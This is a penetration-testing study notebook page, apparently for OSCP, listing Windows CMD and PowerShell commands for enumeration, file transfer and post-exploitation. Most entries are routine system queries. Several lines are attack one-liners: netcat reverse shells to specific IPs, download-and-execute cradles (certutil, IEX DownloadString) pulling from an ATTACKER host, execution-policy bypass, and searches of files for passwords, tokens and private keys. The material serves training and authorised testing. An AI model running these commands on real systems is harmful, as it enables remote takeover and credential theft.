Pearson's OSCP Notebook

Windows CMD - Powershell Commands

Properties1
tagswindows, cmd, powershell, icacls, certutil, type, fping, file-transfer, enumeration

3 min read

Windows CMD & PowerShell Commands — Hub

Overview

Reference notes for built-in Windows commands and PowerShell utilities frequently used during penetration testing. These cover enumeration, privilege escalation prep, file transfer, and post-exploitation.

whoami / cmd not recognized? Broken %PATH% → Broken PATH - Commands Not Found

Sub-Notes (This Folder)

NoteCovers
cmd.exe - Shells and One-Linerscmd /c · reverse shells · nc · Potato wrappers · quoting
icaclsView and modify file/folder permissions (ACLs)
certutilFile transfer, base64 encode/decode, hash verification
typePrint file contents, concatenate files, basic file ops
fpingFast ICMP ping sweep for host discovery
netstatListening ports, connections, PIDs — see netstat
tasklist and Get-ProcessProcess list, find lsass PID — see LSASS
schtasksScheduled tasks — query, run, create, privesc
diskshadowVSS shadow copies — SeBackup NTDS/SAM dump
robocopyBackup mode /b — SeBackupPrivilege file copy
nltestDomain trusts, DC list — forest / child domain enum
net usernet user / net localgroup — manual user & group enum
gciGet-ChildItem / gci — PowerShell file enum, -Force hidden files
PowerShell CmdletsPowerShell cmdlet hub — IWR, Get-Process, pipeline, AD link
PowerShell SnippetsOne-off PS commands — registry, AD Sync, copy-paste snippets + external wikis

Quick Reference

File Content

type file.txt
type file.txt | more

Permissions

icacls C:\Path\To\File
icacls C:\Path /grant User:F

File Transfer (certutil)

certutil -urlcache -split -f http://ATTACKER/file.exe C:\Temp\file.exe

Host Discovery

fping -a -g 10.10.10.0/24 2>/dev/null

Users & Groups (manual enum)

net user
net user %username%
net localgroup administrators
net accounts
net user /domain
net group "Domain Admins" /domain

→ Full reference: net user

PowerShell file enum (hidden files)

gci -Force
gci C:\Users -Recurse -Force -ErrorAction SilentlyContinue
gci C:\ -Recurse -Include *.config,*.xml,*.txt -Force -ErrorAction SilentlyContinue | Select-String "password"

→ Full reference: gci · Linux grep equivalents: grep > 📌 Windows equivalents (findstr / Select-String)

Search file contents (Windows grep)

# PowerShell — closest to grep -Ein
Select-String -Path .\all-utf8.txt `
  -Pattern "password|passwd|secret|token|apikey|api_key|ssh|PRIVATE KEY|INSERT INTO|CREATE DATABASE|CREATE TABLE|admin|user|login" `
  -AllMatches -CaseSensitive:$false | Format-Table LineNumber, Line -AutoSize
findstr /I /N /R "password passwd secret token apikey api_key ssh admin user login PRIVATE CREATE INSERT" all-utf8.txt

Other Useful Built-ins

# System info
systeminfo
whoami /all
net share
 
# Network
ipconfig /all
arp -a
netstat -ano          REM → full ref: [[netstat]]
route print
 
# Process list — full ref: [[tasklist and Get-Process]]
tasklist
tasklist /v
tasklist | findstr lsass
Get-Process
Get-Process lsass
(Get-Process lsass).Id
 
# Scheduled tasks — full ref: [[schtasks]]
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr "Task To Run"
 
# Search for files (CMD)
dir /s /b *.txt
dir /a:h C:\Users      # hidden files
where /r C:\ *.config
 
# PowerShell — ExecutionPolicy & run cmd via -c (nc reverse shell)
powershell -ExecutionPolicy Bypass
powershell -ep bypass -File C:\Temp\script.ps1
powershell -ep bypass -c "C:/Windows/Temp/nc.exe 10.10.14.5 4444 -e cmd"
'powershell -c "C:/Windows/Temp/nc.exe 192.168.45.236 80 -e cmd"'
 
# PowerShell download
(New-Object Net.WebClient).DownloadFile("http://ATTACKER/file.exe","C:\Temp\file.exe")
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/script.ps1")
Invoke-WebRequest -Uri "http://ATTACKER/file.exe" -OutFile "C:\Temp\file.exe"

Graph View

Backlinks